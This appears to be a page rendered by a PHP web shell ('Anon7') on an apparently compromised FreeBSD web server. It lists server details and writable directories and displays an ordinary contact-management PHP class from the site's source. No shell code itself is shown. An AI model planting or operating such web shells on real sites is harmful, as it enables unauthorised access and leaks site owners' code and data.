KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/conceptlabs1/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/conceptlabs1/classes/class.NewContact.php
<?php
/**
 * This class contains logic to handle adding new contacts
*/
class NewContact
{
	/**
	 * Add new contact
	 * @param name name of user
	 * @param cnm name of contact
	*/
	function addNewContact($name, $cnm)
	{
		global $site_path, $fsds_obj;

		$return_val = 'error';
		// $fl = $site_path.'files'.DIRECTORY_SEPARATOR.'un'.DIRECTORY_SEPARATOR.$name.'.u';
		$uresnm = $name.'.u';
		// $cfl = $site_path.'files'.DIRECTORY_SEPARATOR.'un'.DIRECTORY_SEPARATOR.$cnm.'.u';
		$cresnm = $cnm.'.u';
		// if(is_file($fl) && file_exists($fl) && is_file($cfl) && file_exists($cfl)) {
		if($fsds_obj->exists('users', $uresnm) && $fsds_obj->exists('users', $cresnm)) {
			// $cdtl = file_get_contents($cfl);
			$cdtl = $fsds_obj->get('users', $cresnm);
			$cdtls = array();
			if(trim($cdtl) != '') {
				$cdtls = @ json_decode($cdtl, 1);
				if(!is_array($cdtls)) { $cdtls = array(); }
			}
			if(!isset($cdtls['con']) || !is_array($cdtls['con'])) { $cdtls['con'] = array(); }
			if(!isset($cdtls['conr']) || !is_array($cdtls['conr'])) { $cdtls['conr'] = array(); }
			if(!isset($cdtls['scon']) || !is_array($cdtls['scon'])) { $cdtls['scon'] = array(); }
			// add current user as contact to second user
			if(isset($cdtls['conr']) && is_array($cdtls['conr'])) {
				if(isset($cdtls['con']) && is_array($cdtls['con']) && !in_array($name, $cdtls['con'])) {
					$cdtls['conr'] = array_filter($cdtls['conr']);
					$cdtls['conr'] = array_merge($cdtls['conr'], array($name));
					$cdtls['conr'] = array_unique($cdtls['conr']);
				}
			} else {
				if(isset($cdtls['con']) && is_array($cdtls['con']) && !in_array($name, $cdtls['con'])) {
					$cdtls['conr'] = array($name);
				}
			}
			// remove from suggested contacts
			if(isset($cdtls['scon']) && is_array($cdtls['scon'])) {
				$ky = array_search($name, $cdtls['scon']);
				if($ky !== false) {
					unset($cdtls['scon'][$ky]);
					$cdtls['scon'] = array_values($cdtls['scon']);
				}
			}
			// add as contact to current user
			// $udtl = file_get_contents($fl);
			$udtl = $fsds_obj->get('users', $uresnm);
			$udtls = array();
			if(trim($udtl) != '') {
				$udtls = @ json_decode($udtl, 1);
				if(!is_array($udtls)) { $udtls = array(); }
			}
			if(isset($udtls['con']) && is_array($udtls['con'])) {
				$udtls['con'] = array_filter($udtls['con']);
				$udtls['con'] = array_merge($udtls['con'], array($cnm)) ;
				$udtls['con'] = array_unique($udtls['con']);
			} else {
				$udtls['con'] = array($cnm);
			}
			if(isset($udtls['conr']) && is_array($udtls['conr'])) {
				$ky = array_search($cnm, $udtls['conr']);
				if($ky !== false) {
					unset($udtls['conr'][$ky]);
					$udtls['conr'] = array_values($udtls['conr']);
				}
			}
			// remove from suggested contacts
			if(isset($udtls['scon']) && is_array($udtls['scon'])) {
				$ky = array_search($cnm, $udtls['scon']);
				if($ky !== false) {
					unset($udtls['scon'][$ky]);
					$udtls['scon'] = array_values($udtls['scon']);
				}
			}
			// store new details
			$cdtls = array_filter($cdtls);
			$udtls = array_filter($udtls);
			if(isset($udtls['con']) && is_array($udtls['con']) && count($udtls['con']) > 0 &&
				((isset($cdtls['conr']) && is_array($cdtls['conr']) && count($cdtls['conr']) > 0) ||
					(isset($cdtls['con']) && is_array($cdtls['con']) && count($cdtls['con']) > 0)
				)
			) {
				// if(file_put_contents($cfl, json_encode($cdtls)) !== false) {
				if($fsds_obj->put('users', $cresnm, json_encode($cdtls)) !== false) {
					// if(file_put_contents($fl, json_encode($udtls)) !== false) {
					if($fsds_obj->put('users', $uresnm, json_encode($udtls)) !== false) {
						// @ chmod($cfl, 0774);
						$fsds_obj->chperm('users', $cresnm, 0774);
						//@ chmod($fl, 0774);
						$fsds_obj->chperm('users', $uresnm, 0774);
						$return_val = 'success';
					} else {
						$key = array_search($name, $cdtls['conr']);
						// $k = array_search($name, $cdtls['con']);
						if($key === false) { 	// && $k === false
							unset($cdtls['conr'][$key]);
							// file_put_contents($cfl, json_encode($cdtls));
							$fsds_obj->put('users', $cresnm, json_encode($cdtls));
							$return_val = 'error';
						}
						// @ chmod($cfl, 0774);
						$fsds_obj->chperm('users', $cresnm, 0774);
						// @ chmod($fl, 0774);
						$fsds_obj->chperm('users', $uresnm, 0774);
					}
				}
			}
		}
		return $return_val;
	}
}
?>

Anon7 - 2021